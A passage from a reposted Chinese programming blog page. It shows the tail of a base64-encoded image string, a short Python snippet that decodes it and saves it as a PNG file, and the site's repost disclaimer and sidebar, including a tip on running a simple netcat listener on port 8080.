K+KSPrYZ/8AalPH7O5Gf+Kq/wDKf/8AbK9xopciK9pJdTxUfAKdYREPF8gQHIUWOAD9PMp6fAe6ifdF4uMZ9U04KfzEma9noo5EP2s+54u3wEkdiX8UK5bqX0/cT+JlNMP7PqkHHiXBPcWPP/oyva6KOVB7SXc8Nl/Z181Cp8Vde50/JH/kWvcqKKaViG7hRRRTEFFFFABRRRQAUUUUAZHiHQk8QWEVq8oj8uUSglN4yAR0yP71ctD8MQl59ol1ffxtKLahQFwRgDccda9AorRVZqPKnodFPFVqceWDsvkeen4WW/niZdQVJByHW2+bOAOfm5HGMVai+G9vb3a3UN9sk2bGTyMxt6kjdn1713FFNVppWuU8bXe8vyOXfwpdmEGPVIkuQxxKLTIK7cYK789cHqKoX3gnWLuxlhi8SrazShVaSKyOABvztBk+UncvIOfl9+O3orOUnJ3ZH1mr3POL74VyXhtydefMMXlBnhcscksTlZF/iZj6Y2jtk6WgfD1NCinA1WW5lm275JIlHTOMYPuepNdrRWjrTatcPrNW1rmJ/wAI/wDNk3Of+2f/ANetG+s/tsCx+Zsw27OM54Ix+tWqKzcmzOdSU/iPG/FPwBtPEGuTalaa5/Z/n/PLELPzAXPVh864z/PmsX/hmf8A6m7/AMpv/wBtr36ii7IPAR+zOR08Xf8AlN/+21Mn7OEsUiyx+MWWZSGWQaedykdCD5vB4Fe8UUnqFzx7UvgnqWqMZJ/FtuJnh8mWZdGQSSDuS3mZBI4JGMjg1hn9mjJz/wAJdz/2Df8A7bXvtFKKUVZDbbPAh+zRg5/4S7P103/7bXceDvhBpHhBRPHP9r1HnN3LDgrkYwgydoxnuTyeccV6LRVXEFFFFIAttCQAsiQotwsxujAwSy0JzgD/2QoK'img_data = base64.b64decode(url) 返回的是二进制数据print(type(img_data))fn = open('code.png','wb')fn.write(img_data)fn.close()'''我们打开了一个有base64加密的图片数据''' 本篇文章为转载内容。原文链接:https://blog.csdn.net/httpsssss/article/details/116136614。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-01 12:40:55
563
转载
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
nc -l 8080
- 开启一个监听8080端口的简单网络服务器。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"